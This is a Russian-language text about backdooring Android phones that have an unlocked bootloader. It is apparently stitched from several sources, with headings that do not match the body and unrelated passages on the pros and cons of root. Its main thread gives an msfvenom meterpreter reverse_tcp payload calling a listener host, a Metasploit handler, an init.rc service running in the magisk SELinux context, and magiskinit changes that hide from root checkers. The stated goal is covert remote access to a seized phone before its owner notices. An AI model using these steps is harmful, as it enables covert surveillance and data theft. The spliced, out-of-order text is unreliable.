- Получение удалённого доступа
- Внедряемся в систему без установленных root-прав
- Зачем нужны root-права?
- SELinux
- Проверяем на реальном устройстве
- Наличие root-прав не влияет на безопасность
- Преимущества Root
- Внедряемся в систему с установленными root-правами
- Виды Root прав
- Способы получения root
- Как получить Root права?
- Настройка Magisk или как пройти SafetyNet
- Постановка задачи
- Как проверить, что права root получены?
- Мой набор Magisk-модулей
Получение удалённого доступа
Для android существует популярная полезная нагрузка в Metasploit фреймворке которая теоретически может дать нам удалённый доступ к устройству – android/meterpreter/reverse_tcp, однако с ней есть проблемы:
Она поставляется в виде обычного приложения. Мы технически не можем установить в android приложение в зашифрованное хранилище, плюс даже если бы могли, это явный шанс скомпрометировать себя, т.к. приложение будет видно в лаунчере и в списке установленных приложений в настройках, а если на устройстве пользователя установлено одно из антивирусных решений, то оно может задетектить его как вирус по публично доступным признакам. Мы можем пересобрать его изменив сигнатуры или даже внедрить в какое-нибудь другое приложение, но сути это не поменяет.
Она была рассчитана на более старые версии android и часть её функций может не работать на современных версиях системы. Некоторые её возможности требуют подтверждения руками системных диалогов с разрешениями, некоторые просто не заведутся.
Она работает как обычное непривилегированное приложение, а значит ни к чему особо доступ иметь не может. Если на системе нет root-прав, то мы сможем получить только файлы из общего хранилища и только после подтверждения пользователем диалога с разрешением что автоматически выдаст нас. Если на системе есть root-права, то получить их мы сможем только после явного подтверждения диалога с разрешением. Мы могли бы руками отредактировать базу данных magisk для внесения себя в список приложений которым доступен root и отключить для себя логирование и уведомления о предоставлении root-доступа, но для этого нам нужно отредактировать файл из внутренней директории приложения, а она зашифрована.
Будучи обычным приложением она будет попадать под управление жизненным циклом, система в лучшем случае будет отправлять её в сон в doze-mode, в худшем – просто убьёт и перезапустить её будет некому. Умер процесс приложения – умер и процесс агента, поскольку является дочерним процессом приложения.
Для того, чтобы агент мог без проблем поддерживать себя постоянно запущенным, не отсвечивать в операционной системе и не попадать под регулирования и ограничения для установленных приложений, необходимо оформить его в виде системного сервиса — демона.
Для того, чтобы понять как именно это сделать, нужно вернуться к процессу загрузки системы, однако теперь мы верхнеуровнево рассмотрим оставшуюся её часть происходящую сразу после рассмотренного в начале boot flow, т.е. когда загрузчик загрузил раздел boot, отработал механизм verified boot и система получила добро на запуск:
Ядро и ramdisk распаковывается в оперативную память, и загрузчик запускает ядро.
Ядро стартует, инициализирует устройства, драйверы и т.д. и монтирует ramdisk в корень файловой системы. Ramdisk содержит минимальный набор файлов необходимых для запуска пользовательской части системы. Бинарник init, минимальный скрипт init.rc для него, точки монтирования разделов: /system, /vendor и др. и информацию об устройствах которые необходимо в них смонтировать. Вот тут описаны примеры содержания ramdisk для разных версий android.
Далее процесс может проходить по нескольким сценариям, но в целом, конечная цель работы ядра на этапе загрузки – запустить исполняемый файл init, который продолжит загрузку системы уже не в пространстве ядра, а в пространстве пользователя.
Первое что делает процесс init сразу после запуска — загружает скомпилированные политики SELinux и применяет их. SELinux — это механизм ядра для принудительного контроля доступа, пришедший в android из RedHat-подобных дистрибутивов. Мы ещё вернёмся к нему и рассмотрим его более подробно.
Далее процесс init парсит скрипт init.rc из ramdisk, который содержит список действий которые необходимо совершить для успешной загрузки системы, а также какие ещё .rc скрипты необходимо загрузить. Android использует свой формат скриптов для загрузки компонентов системы.
После отработки всех скриптов мы получаем полностью запущенную систему.
Судя по всему, для внедрения в систему в качестве демона нам потребуется подготовить исполняемый файл с полезной нагрузкой и описать системный сервис, который будет его вызывать.
Исходный init.rc импортирует дополнительные скрипты из нескольких директорий, в том числе и основного источника этих скриптов из системного раздела: /system/etc/init/.rc, поэтому мы подготовим свой скрипт и поместим его туда.
Синтаксис .rc скриптов несложный, он хорошо описан здесь, а ещё можно подглядеть в то, как именно он устроен просто заглянув в файлы в вышеупомянутой директории.
Подготовим описание нашего сервиса:
service revshell /system/bin/revshell disabled shutdown critical
on property:sys.boot_completed=1 start revshellУкажем название сервиса revshell.
Путь к исполняемому файлу будет лежать в стандартной директории для бинарников в android. Агента мы поместим именно туда.
disabled означает то, что его не нужно загружать непосредственно в процессе загрузки системы сразу после обработки скрипта. Мы будем стартовать сервис специальным триггером, который ориентруется на объявление проперти sys.boot_completed.
shutdown critical означает то, что сервис критический и не должен убиваться даже при подаче сигнала о выключении системы.
План таков: система запустит нашего агента при загрузке до попадания на экран ввода кода разблокировки. Агент ожидает расшифровки файловой системы. После того как владелец устройства введёт код разблокировки, агент запускает reverse-shell и предоставляет нам доступ в систему с возможностью достать любые файлы.
На системный сервис не распространяются правила OOM-киллера и правила энергосбережения, он не будет остановлен если в системе заканчивается память, или она уснёт. В случае завершения процесса сервиса по любой причине, система будет его рестартовать не позднее чем через 5 секунд. Даже в случае если сервис не может запуститься и его процесс падает, система никогда на бросит попыток его запустить и будет продолжать делать это пока продолжает работать.
Выглядит как раз как то что нам нужно, однако тут нашим ожиданиям суждено встретиться с суровыми реальностями организации безопасности в android. Если мы попытаемся установить сервис подобным образом, то система его проигнорирует, а dmesg сообщит нам что-то похожее на это:
avc: denied { transition } scontext=u:r:init:s0 tcontext=u:object_r:system_file:s0Внедряемся в систему без установленных root-прав
Первое приходит на ум мысль о том, что мы можем просто взять устройство с которого хотим извлечь данные, прошить в него magisk используя TWRP, а затем, сразу же следом прошить наш бэкдор. Технически это сработает, т.к. вместе с magisk установятся и его политики SELinux, благодаря которым он сможет работать, но в этом случае, пользователь сразу же поймёт, что что-то не так. Он не устанавливал magisk, а magisk на устройстве есть. Значит, в то время как устройство было изъято злоумышленником, он что-то в него прошивал. Пользователь не сможет заметить этого до того как введёт код разблокировки, однако проблема в том что во время разблокировки интернет на устройстве пользователя может быть выключен, мы не получим удалённый доступ, а пользователь, обнаружив то что в его устройство пытались что-то прошить может удалить необходимую информацию, удалить magisk, начать разбираться что не так, обнаружить бэкдор, или просто сбросить телефон до заводских настроек вследствие чего интересующие нас данные будут уничтожены. Если на устройстве пользователя стоит какое-либо антивирусное решение, то оно может поднять тревогу, если обнаружит что в системе появились root-права полученные через magisk.
Нам нужно постараться любой ценой избежать обнаружения, поскольку от этого зависит получится у нас изъять данные или нет. По сути, нам, в общем-то, не нужны root-права в обычном понимании, нам не нужен терминал с uid=0 для того, чтобы вводить какие-то команды. Нам не нужен исполняемый файл su, т.к. uid=0 мы можем получить и от процесса init. Нам не нужны и сторонние инструменты, которые поставляются с magisk. Нам не нужно приложение MagiskManager. Всё что нас интересует – это контекст u:r:magisk:s0. Получим контекст – получим удалённый доступ.
Нам не только не нужно всё вышеперечисленное, нам очень желательно ничего из этого не устанавливать, т.к. это – маркеры компрометации. Если пользователь запустит какую-нибудь популярную проверку на root, то она нас обнаружит, это же может случиться и в одном из приложений, установленных на его устройстве, оно обнаружит что на телефоне установлены root-права и уведомит пользователя об этом.
Обнаружить root-права на устройстве, в частности magisk, можно по-разному. Можно банально проверить наличие установленного менеджера в системе или попытаться найти испоняемый файл su или magisk (magisk создаёт символическую ссылку su которая на самом деле указывает на исполняемый файл magisk)
Интересный факт: начиная с android 10 в системе появилась служба APEX отвечающая за более простой подход к доставке обновлений системных компонентов. Её идея в том, чтобы добавить в android возможность выборочно доставлять обновления частей системы: добавлять новые и заменять существующие системные библиотеки и части android фреймворка, и главное делать это небольшими пакетами, без необходимости загружать и устанавливать полные образы всех разделов целиком. Более того всё это ложится в стандартную модель управления пакетами в android. То есть идея в том, что это нечто вроде apk, но не для приложений, а для самой ОС. Это критически важно для безопасности, например для того, чтобы в случае обнаружения какой-нибудь новой серьёзной уязвимости в системной библиотеке, как это например случалось с libstagefright когда 95% устройств на рынке были подвержены уязвимости, а обновления до многих устройств шли долгие месяцы, Google мог в течение нескольких часов доставить обновление с заплаткой на 100% устройств которые поддерживают apex. Иронично то, что этот механизм ну очень сильно похож по принципу действия на работу модулей magisk, и на то, как они монтируются поверх системы через зеркала. Я могу только предполагать это, но не исключено, что ребята, которые игрались с безопасностью android устройств и «хакали» их по фану, вдохновили своими подходами системных разработчиков android, которые построили на этом систему обновлений, которая сделает каждое из наших устройств неприступнее для злоумышленников. По-моему, это прекрасно.
Возвращаясь к magisk, особенностью такого подхода является то, что magisk создаёт множество лишних точек монтирования, особенно если установлено много magisk-модулей.
$ cat /proc/mounts | grep magisk
/sbin/.magisk/block/system /sbin/.magisk/mirror/system ext4 ro,seclabel,relatime,block_validity,discard,delalloc,barrier,user_xattr 0 0
/sbin/.magisk/block/vendor /sbin/.magisk/mirror/vendor ext4 ro,seclabel,relatime,block_validity,discard,delalloc,barrier,user_xattr 0 0
/sbin/.magisk/block/data /sbin/.magisk/mirror/data ext4 rw,seclabel,relatime,discard,noauto_da_alloc,data=ordered 0 0
/sbin/.magisk/block/data /sbin/.magisk/modules ext4 rw,seclabel,relatime,discard,noauto_da_alloc,data=ordered 0 0Можно поискать в файловой системе файлы, содержащие в названии magisk, и обнаружить исполняемые файлы:
$ find / -name "magisk" 2>/dev/null
/sbin/magiskpolicy
/sbin/magiskhide
/sbin/magisk
/sbin/magiskinit
/sbin/.magiskЕщё больше можно увидеть с root-правами:
$ su
# find / -name "*magisk*" 2>/dev/null
/storage/emulated/0/Android/data/com.topjohnwu.magisk
/storage/emulated/0/Android/media/com.topjohnwu.magisk
/sbin/magiskpolicy
/sbin/magiskhide
/sbin/magisk
/sbin/magiskinit
/sbin/.magisk
/sbin/.magisk/mirror/data/system/package_cache/1/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==-0
/sbin/.magisk/mirror/data/system/graphicsstats/1612051200000/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/system/graphicsstats/1611964800000/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/misc/profiles/cur/0/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/misc/profiles/ref/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/user_de/0/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/magisk_backup_5063aa326352068974a1a161a798cd606e05dd12
/sbin/.magisk/mirror/data/app/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==
/sbin/.magisk/mirror/data/data/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/adb/magisk.db
/sbin/.magisk/mirror/data/adb/magisk
/sbin/.magisk/mirror/data/adb/magisk/magiskinit64
/sbin/.magisk/mirror/data/adb/magisk/magiskboot
/sbin/.magisk/mirror/data/adb/magisk/magiskinit
/sbin/.magisk/mirror/data/media/0/Android/data/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/media/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/write/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/write/emulated/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/read/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/read/emulated/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/default/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/default/emulated/0/Android/media/com.topjohnwu.magisk
/data/system/package_cache/1/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==-0
/data/system/graphicsstats/1612051200000/com.topjohnwu.magisk
/data/system/graphicsstats/1611964800000/com.topjohnwu.magisk
/data/misc/profiles/cur/0/com.topjohnwu.magisk
/data/misc/profiles/ref/com.topjohnwu.magisk
/data/user_de/0/com.topjohnwu.magisk
/data/magisk_backup_5063aa326352068974a1a161a798cd606e05dd12
/data/app/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==
/data/data/com.topjohnwu.magisk
/data/adb/magisk.db
/data/adb/magisk
/data/adb/magisk/magiskinit64
/data/adb/magisk/magiskboot
/data/adb/magisk/magiskinit
/data/media/0/Android/data/com.topjohnwu.magisk
/data/media/0/Android/media/com.topjohnwu.magisk
/config/sdcardfs/com.topjohnwu.magisk
/cache/magisk.logЕщё magisk добавляет права на запись в некоторые места файловой системы, где этих прав явно быть не должно, и некоторые приложения для обнаружения root-прав обнаруживают его из-за этого.
Вообще-то, magisk очень хорошо умеет прятаться от других процессов с помощью сервиса MagiskHide, который умеет прятать все точки монтирования и даже заменять некоторые свойства в системе, однако от человека, который будет исследовать файловую систему устройства, особенно до загрузки системы, спрятаться не получится. Поэтому технически подкованный пользователь быстро обнаружит наличие magisk на своём устройстве. Для наших целей это не подходит, т.к. если мы будем обнаружены, данные будет не извлечь.
Это значит, что вместо грубой установки magisk нужно поступить красиво – необходимо разобраться с тем, как именно он закрепляется в системе и как заставляет init загрузить ненастоящие политики SELinux.
План таков: мы возьмём исходники magisk и соберём из них инструмент, который будет внедрять в систему всемогущий контекст u:r:magisk:s0, но больше не будет делать ничего. То есть наша задача сводится к тому, чтобы вместо magisk установить на устройство только политики magisk.
Для начала нам нужно понять как именно magisk внедряется в систему. Суть установки magisk в следующем:
Установщик находит среди разделов на диске раздел boot
Дампит раздел boot через nanddump в файл-образ и распаковывает его
Извлекает из него образ ramdisk
Заменяет в образе ramdisk оригинальный исполняемый файл init на свой, заранее подготовленный – magiskinit
Складывает оригинальный ramdisk с оригинальным init в бэкап который ложится рядом
Если необходимо применяет дополнительные патчи, которые зависят от устройств и версии android
Запаковывает образ boot раздела и прошивает его на место оригинального boot
Бэкапит оригинальный boot раздел в /data
По окончанию мы получаем раздел boot, в котором во время запуска системы, между тем как ядро вызывает запуск процесса init и реальным запуском процесса init появляется окно, в котором magisk подготавливает всё необходимое для своей работы во время уже запущенной системы.
Если очень грубо, то работает это так: magiskinit запускается, находит файл с политиками, патчит его добавляя в него политики необходимые для работы magisk после запуска системы, добавляет в init.rc записи которые запустят сервис magiskd во время загрузки системы после чего запускает оригинальный init, который загружает уже пропатченные политики вместо оригинальных, а далее загрузка происходит привычным образом. На деле, в этом процессе есть огромное множество нюансов.
Во-первых, ramdisk у нас доступен только на чтение. Мы не можем взять и переписать boot раздел по своему желанию, и применить изменения на постоянной основе, поэтому все манипуляции над файлами выполняются в ОЗУ, заново, при каждом запуске системы.
Во-вторых, начиная с android 9, и далее в 10 и 11 очень сильно менялся подход к организации файловой системы во время работы устройства, организации хранения файла с политиками и вообще самого процесса запуска.
До android 9 скомпилированные политики SELinux всегда упаковывались в boot раздел и лежали прямо рядом с ядром, затем появился механизм split-policy, когда для каждого из основных разделов (system, vendor, иногда бывает ещё product), политики компилируются и хранятся отдельно.
Для magiskinit это значит то, что при запуске ему нужно смонтировать все эти разделы, собрать оттуда отдельные файлы с политиками, распарсить, упаковать и сложить в единый файл, найти ему место в файловой системе (которое тоже зависит от многих факторов и версии android), после чего брутально пропатчить прямо в бинарном виде исполняемый файл init – найти место где в условной конструкции выбирается тип политики, принудительно заменить его со split-policy на mono-policy и заменить путь к файлу с политиками на тот что был получен в предыдущем шаге.
Бинарного файла init, пригодного для модификации может и не быть, потому что на некоторых устройствах есть 2SI – two-stage-init или двухэтапный запуск init. Это подход, в котором исходный init файл из ramdisk не запускает систему, вместо этого он монтирует раздел с системой и уже из него запускает /system/bin/init. В этом случае magiskinit придётся не менее брутально прямо в бинарном виде патчить libselinux в системном разделе.
А есть ещё в android подход system-as-root, который обязателен для сборок android 10+. От него зависит что именно будет корнем файловой системы ramdisk или system. И оба этих случая magiskinit обязан учитывать. А ещё в некоторых условиях на некоторых устройствах ramdisk может вообще отсутствовать.
Если интересно узнать подробнее, то разработчик magisk очень хорошо и доступно описал как устроены все эти хитросплетения с запуском init. Я полагаю, что для разработчиков magisk это чистая боль, если раньше процесс загрузки был достаточно единообразным и бесхитростным, то теперь разработчики magisk тратят огромные усилия чтобы подстраиваться под это, а учитывая темп выхода новых версий android, делать это очень непросто.
Тем не менее, для нашей задачи внутреннее устройство magiskinit интересует нас только для того, чтобы понять, как именно внедрить нужные нам изменения в скомпилированные политики и отбросить всё остальное.
В исходниках нас будут интересовать в основном только файлы из директории init. Вкратце, список изменений которые были внесены в код:
В методе main() в init.cpp удаляем вызовы методов dumpmagisk() и dumpmanager().
В init.hpp обратим внимание на вызовы execinit() – это вызовы оригинального init. Перед ними во всех случаях кроме FirstStageInit добавим rmrf(«/.backup») чтобы скрыть соответствующую директорию, которая будет торчать в файловой системе работающего устройства. В FirstStageInit этого делать не нужно, т.к. этот вызов всё равно будет совершён во время второй стадии init.
В mount.cpp нас будет интересовать метод setuptmp() который отвечает за создание tmpfs в файловой системе где будут храниться линки на исполняемые файлы magisk. Обычно в файловой системе это директория /sbin. Мы можем полностью удалить этот вызов для RootFSInit, т.к. моно-файл с политиками SELinux в этом случае находится прямо в ramdisk, и патчится прямо там же, но в андроид 10 и выше с приходом механизма split-policy именно туда в единый файл будут складываться собранные из всех разделов политики, поэтому нам, похоже, обязательно придётся её оставить, но мы можем вынести её в /dev. Начиная с android 11 этот подход становится в magisk основным, т.к. с android 11 наличие директории /sbin в файловой системе не гарантируется. Меняем режим tmpfs с 755 на 700 чтобы содержимое не мог посмотреть непривилегированный пользователь и не сработали root-чекеры которые проверяют наличие доступа на запись в подозрительных местах. Удаляем создание файлов и линков magisk в tmpdir. У меня не получилось полностью избавиться от tmpdir в android 10+ и сохранить работоспособность системы, но оно вроде бы и не проблема. Прочитать tmpfs без рута не получится, а название служебной директории можно поменять с .magisk на любое случайное.
В rootdir.cpp удаляем код который патчит init.rc для запуска демона magisk в системе
На выходе получаем нечто, что можно назвать magisk без magisk. Он будет патчить политики SELinux до запуска init, подкладывая туда всемогущий контекст u:r:magisk:s0, но на этом всё – никакого функционала root-прав и всего такого прочего.
Теперь можно начинать.
Зачем нужны root-права?
Честно говоря, когда мне задают вопрос, зачем я получал root-права на своем девайсе, я иногда впадаю в ступор, поскольку использую какое-то специфичное ПО, требующее таких разрешений достаточно редко и точечно.
Как хорошие примеры могу привести эффективное использование программ-firewalls, которые с помощью расширенных прав могут более гибко и эффективно контролировать траффик. Также, программы предназначенные для очистки «мусорных» файлов работают гораздо эффективнее, как и разнообразные файловые менеджеры, которые могут позволить вам редактировать системные файлы. Программы для резервного копирования приложений могут сохранять все данные приложения.
Отдельно хотелось бы упомянуть Xposed Framework — специализированное ПО в виде фреймворка, позволяющее одним приложениям изменять поведение системных функций Android в других приложениях и получать более полный доступ к их ресурсам. Например, именно на этом принципе основан Xposed-модуль для перевода текста на любой язык прямо в целевом приложении.
SELinux
Безопасность в android устроена сложнее чем хотелось бы злоумышленникам и представляет из себя многослойную систему. Unix DAC (discretionary access control), привычная нам система пользователей и назначения прав на файлы типа rwxrwxrwx является лишь частью мер по предотвращению злоупотребления операционной системой и устройством. Помимо неё есть ещё MAC (mandatory access control), в android это SELinux (Security Enhanced Linux). Суть MAC в возможности намного более гибко управлять доступом к различным ресурсам чем DAC, в том числе описывая для этого свои уникальные сущности и правила.

Отсюда следует несколько неочевидный ранее вывод – на android root-права в привычном для других дистрибутивов linux понимании, т.е. когда uid пользователя в системе равен 0, вовсе не означают что мы можем делать всё что угодно. Несмотря на то, что процесс init запущен с uid=0, он не может запустить сторонний сервис. Дело в том что SELinux не оперирует понятиями системных пользователей и групп, и если какое-то действие не было явно разрешено, то он его запретит и ему безразлично пытается ли его совершить непривилегированный пользователь или root. Он работает «выше» DAC и может запретить любое действие, которое DAC разрешил.
Вот отличный пример в android с самим файлом, содержащим политики SELinux:
$ ls -laZ /sys/fs/selinux/policy
-r--r--r-- 1 root root u:object_r:selinuxfs:s0 0 1970-01-01 03:00 /sys/fs/selinux/policy
$ cat /sys/fs/selinux/policy
cat: /sys/fs/selinux/policy: Permission deniedНа нём стоит доступ для чтения для любых пользователей, но при попытке прочитать его мы получим Permission denied, потому что ни для процессов с контекстом u:r:shell:s0, ни для процессов с контекстом u:r:untrustedapp:s0 нет разрешения на чтение файлов u:objectr:selinuxfs:s0.
SELinux оперирует понятиями контекстов, которые присваиваются файлам и процессам, и правил взаимодействия между объектами принадлежащим разным контекстам. Наборы этих правил объединяются в политики. Они описываются в файлах *.te в исходниках android, можно посмотреть примеры вот тут. Политики собираются на этапе сборки системы и, теоретически, не могут изменяться во время её работы, они компилируются в специальный бинарный формат, который уже использует система.
Контекст SELinux на процессах и файлах можно посмотреть, добавив к выполняемой команде флаг -Z. Например, для просмотра контекстов на файлах в текущей папке можно вызвать команду ls -laZ, а на процессах, соответсвенно, ps -efZ.
Как было упомянуто выше в секции про процесс загрузки системы, первое действие которое совершает процесс init – загружает и применяет политики SELinux, а одна из первых применяемых политик заключается в том что процессу с контекстом u:r:init:s0 запрещается делать transition в другой контекст. Политики SELinux специально строятся по принципу «запрещено всё что не разрешено», и создатели операционной системы, разумеется, позаботились о том, чтобы злоумышленник получивший возможность прописать запуск какого-то сервиса в автозапуск не смог это сделать. Контекст процесса init организован таким образом что он может запустить только те системные сервисы, для которых явно прописано разрешение на запуск во время загрузки системы, и после сборки системы это изменить нельзя.
SELinux может работает в трёх режимах:
enforcing – все действия описываемые политиками логируются и принудительно следуют правилам, т.е. если действие явно не разрешено, то оно не будет выполнено
permissive – все действия описываемые политиками логируются но не следуют правилам принудительно, т.е. даже если действие явно не разрешено, оно будет выполнено, несмотря на ругань в логах
disabled – никакие действия не логируются и не ограничиваются
В нормально работающей системе android версии от 5.0 SELinux всегда будет в режиме enforcing. Если по каким-то причинам он будет переведён в режим permissive, то пользователю ещё до ввода кода разблокировки покажут большое страшное уведомление об этом и о том что его система небезопасна. Мы точно не имеем права переводить SELinux в permissive режим, потому что это выдаст пользователю факт модификации его устройства, и он может предпочесть уничтожить данные.
В каждой версии android, начиная с 5 политики SELinux сильно ужесточаются и всё меньше и меньше всего остаётся разрешённым. Иронично, но начиная с android 8 даже если прошить в системный раздел исполняемый файл su и сделать его системным и принадлежащим root:root, он не сможет работать без специально назначенных ему политик.
Тем не менее инструменты для получения root-прав существуют, и они умеют обходить ограничения MAC, работать на самых свежих версиях android и даже на устройствах, которые помимо них дополнительно имеют отдельные механизмы контроля целостности системы (например устройства Samsung). Так как же тогда работает root в современных реалиях?
Проверяем на реальном устройстве
Ловить удалённое подключение от устройства будем на Kali в виртуалке. Для этого на ней сгенерируем пейлоад:
$ msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf > revshellИ настроим слушатель:
$ msfconsole -q
> use exploit/multi/handler
> set PAYLOAD payload/linux/aarch64/meterpreter/reverse_tcp
> set LHOST <LISTENER_IP>
> set LPORT <LISTENER_PORT>
> run -jПосле этого возвращаемся на хост машину.
$ git clone https://github.com/LuigiVampa92/unlocked-bootloader-backdoor-demo.git
$ cd unlocked-bootloader-backdoor-demoИсполняемый файл по пути revshell/revshell заменим на нагрузку сгенерированную в Kali. После этого приступим к сборке.
Создадим для скрипта сборки переменную окружения, указывающую на абсолютный путь к android-sdk (зависит от вашей операционной системы):
$ ANDROID_SDK_ROOT=/usr/lib/android-sdk
$ export ANDROID_SDK_ROOTПодготавливаем NDK для сборки. Это нужно сделать именно через установочный скрипт, т.к. скрипту будет нужен отдельный изолированный инстанс NDK для сборки и рассчитывать он будет именно на него:
$ ./buildrevshell.py ndk$ ./buildrevshell.pyСобранные пакеты будут лежать в директории out.
Переходим к установке.
Сперва перезагружаем устройство в режим fastboot. На разных устройствах это делается по-разному. В большинстве случаев необходимо выключить устройство, зажать одну из физических кнопок регулирования громкости (например кнопку прибавления громкости) и не отпуская её нажать на несколько секунд кнопку питания.
$ fastboot boot twrp.imgНебольшое важное отступление. Я смог проверить работу только на устройствах которыми располагаю сам. Среди них были устройства на android 9 и 10, LineageOS 16 и 17, с классическим init как в старых системах и two-stage-init + system-as-root. Среди них не было устройств с system-as-root на android 9 и устройств с A/B партициями. Поэтому если конфигурация вашего устройства отличается, то на нём могут возникнуть непредвиденные проблемы. Я рекомендую сделать бэкапы важных разделов и сохранить их для того, чтобы иметь возможность восстановить их руками, в случае если что-то пойдёт не по плану.
Обычно это будет раздел boot, сделать его бэкап после загрузки TWRP можно так:
$ adb shell
# ls -la /dev/block/by-name | grep boot
lrwxrwxrwx 1 root root 16 1973-02-14 07:56 boot -> /dev/block/sde19
# dd if=/dev/block/sde19 of=/tmp/boot.img
131072+0 records in
131072+0 records out
67108864 bytes transferred in 0.429 secs (156430918 bytes/sec)
# ^D
$ adb pull /tmp/boot.img
/tmp/boot.img: 1 file pulled, 0 skipped. 35.8 MB/s (67108864 bytes in 1.785s)Проверьте есть ли у вас отдельные разделы для DTB, для этого зайдите в adb shell и выполните:
$ ls -la /dev/block/by-name | grep dtbЕсли увидите в списке dtb, dtbo и dtbs, то сделайте и их бэкапы тоже.
Ещё пара дежурных предупреждений:
Пожалуйста производите все действия только на своём устройстве
Убедитесь что на устройстве нет важных данных которые страшно потерять
Все действия выполняются на ваш страх и риск
Поехали. Запускаем sideload через GUI (Меню/Advanced/Sideload) или из терминала:
$ adb shell 'twrp sideload'$ adb sideload zip_reverse_shell_install.zipВажно! Здесь в зависимости от того был ли на устройстве предварительно установлен magisk или нет будет пропатчен или не пропатчен boot раздел. Если на устройстве magisk ранее установлен не был, то необходимо будет сохранить бэкапы оригинальных разделов. Сделать это нужно обязательно, даже если предварительно сделали бэкапы руками, иначе удалять наш инструмент также придётся руками, потому что деинсталлятор будет полагаться на наличие именно этих бэкапов, именно в этом формате. В логе TWRP тоже вылезет большое предупреждение об этом.
Вытаскиваем бэкапы с устройства:
$ adb pull /tmp/backup_original_partitions .Теперь можно выключить или перезагрузить устройство.
Удаление с устройства производится в обратном порядке:
Перезагружаемся в fastboot
$ fastboot boot twrp.imgЕсли сохраняли бэкапы во время установки, то вызываем:
$ adb push backuporignialpartitions /tmp/backuporignialpartitions$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_uninstall.zipНаличие root-прав не влияет на безопасность
Современные Android-смартфоны, особенно гаджеты крупных производителей, практически невозможно взломать «изнутри». Каждое пользовательское приложение Android работает в изолированной «песочнице» и не имеет доступа к другим процессам, а любые мало-мальски важные действия пользователь должен подтверждать самостоятельно. Конечно, способы получить root-доступ «изнутри» иногда обнаруживаются, но, судя по редким сообщениям в СМИ, серьёзного влияния на безопасность операционной системы не оказывают. Именно поэтому подавляющее большинство вредоносного ПО рассчитывает не на уязвимости, а на невнимательность пользователя, пытаясь обманом получить права на использование платных услуг, перевод гаджета в режим киоска (из которого никак не выйти и нельзя ничего запустить) или даже статус администратора устройства. Но существуют устройства, которые продаются с уже разблокированным загрузчиком, либо предлагают получить root-доступ парой кликов в настройках гаджета. Такую щедрость предлагают многие китайские производители и с подобными аппаратами стоит быть особенно осторожным.

Если вы решите расширить свои системные полномочия, проблемы могут начаться уже на этапе получения прав суперпользователя. Всё разнообразие методов получения root-доступа можно условно поделить на две категории. Первая — использование ещё не закрытых уязвимостей Android. Такие программы, как KingRoot или Kingo Root во время работы обращаются к серверам, хранящим огромные коллекции эксплоитов, и ищут те, которые подойдут для конкретного устройства. Стоит ли говорить, что работа таких программ нередко приводит к печальным последствиям? Порой случается так, что эксплоит срабатывает неправильно и вместо прав суперпользователя вы получаете «кирпич», который, в лучшем случае, можно оживить полной перепрошивкой.

Кроме того, такие приложения имеют закрытый исходный код, а, значит, у вас нет никакой возможности узнать, что именно они делают с вашим устройством. А делать они могут всё, что угодно, начиная от пересылки данных из внутренней памяти устройства на китайские сервера и заканчивая установкой на гаджет Adware, избавиться от которого можно только специализированными инструментами. Именно так ведёт себя упомянутый выше KingRoot, не только размещающий рекламу на домашнем экране против вашей воли, но и отправляющий информацию об устройстве неизвестно кому.
Вторая категория — «полуофициальная», поскольку предполагает использование официальных инструкций от производителя, либо специализированного ПО для разблокировки загрузчика. Как только это сделано, у пользователя появляется возможность установки в систему менеджера root-доступа, перехватывающего соответствующие вызовы от других программ.

Однако и этот метод не лишён недостатков. Chainfire, автор самого популярного на сегодняшний день менеджера root-доступа SuperSU, в конце 2015 года продал свою разработку малоизвестной компании Coding Code Mobile Technology LLC. Эта компания использует американский штат Делавэр в качестве офшора, но её корни уходят в Китай. Исходный код SuperSU был закрыт и раньше, но имя разработчика всё это время выступало некой гарантией отсутствия в программе нежелательного кода. Теперь такой гарантии дать никто не может, и многие небезосновательно опасаются устанавливать на свои гаджеты версии SuperSU 2.80+, вышедшие после сделки.

Но, даже если вы абсолютно уверены в способе получения прав суперпользователя и менеджере root-доступа, нет никакой гарантии, что одна из безобидных на первый взгляд программ не будет эксплуатировать уязвимость, позволяющую получить системные привилегии в обход менеджера. Примеров вредоносного ПО, работающего именно таким образом, предостаточно: Tordow скрытно воровал пароли из браузера, Guerrilla и Ztorg покупали приложения в Google Play без ведома пользователя, а Triada подменял адреса в браузере, реализовав практически идеальный незаметный фишинг.

По данным «Лаборатории Касперского», один из наиболее совершенных троянов — Triada получил root-доступ на 247 устройствах
Ещё один булыжник в огород root-доступа — ограничение функциональности некоторых приложений или их полная неработоспособность после разблокировки загрузчика или получения прав суперпользователя. В первую очередь, это касается финансовых программ, например, Android Pay, Samsung Pay и Сбербанк Онлайн.

Преимущества Root
В первую очередь, получение Root дает возможность удалять стандартные приложения, навязываемые производителями устройств, менять темы и ярлыки, а так же запускать специализированные приложения, существенно расширяющие возможности смартфона (обычно такие приложения требуют Root-прав). Кроме того, появляется возможность изменять системные файлы (Recovery image, Bootloader или изображения, выводимые при загрузке), запускать исполняемые файлы Linux, устанавливать приложения на карту памяти или переносить на нее кэш программ. В отдельных случаях после модификаций ОС, доступных только после получения Root-прав, возможно даже добиться небольшого, но все же увеличения производительности времени автономной работы.
Внедряемся в систему с установленными root-правами
Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:
service revshell /system/bin/revshell disabled seclabel u:r:magisk:s0 shutdown critical
on property:sys.boot_completed=1 start revshellПодготовим исполняемый файл для демона и соберём его под arm64.
#pragma once
#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
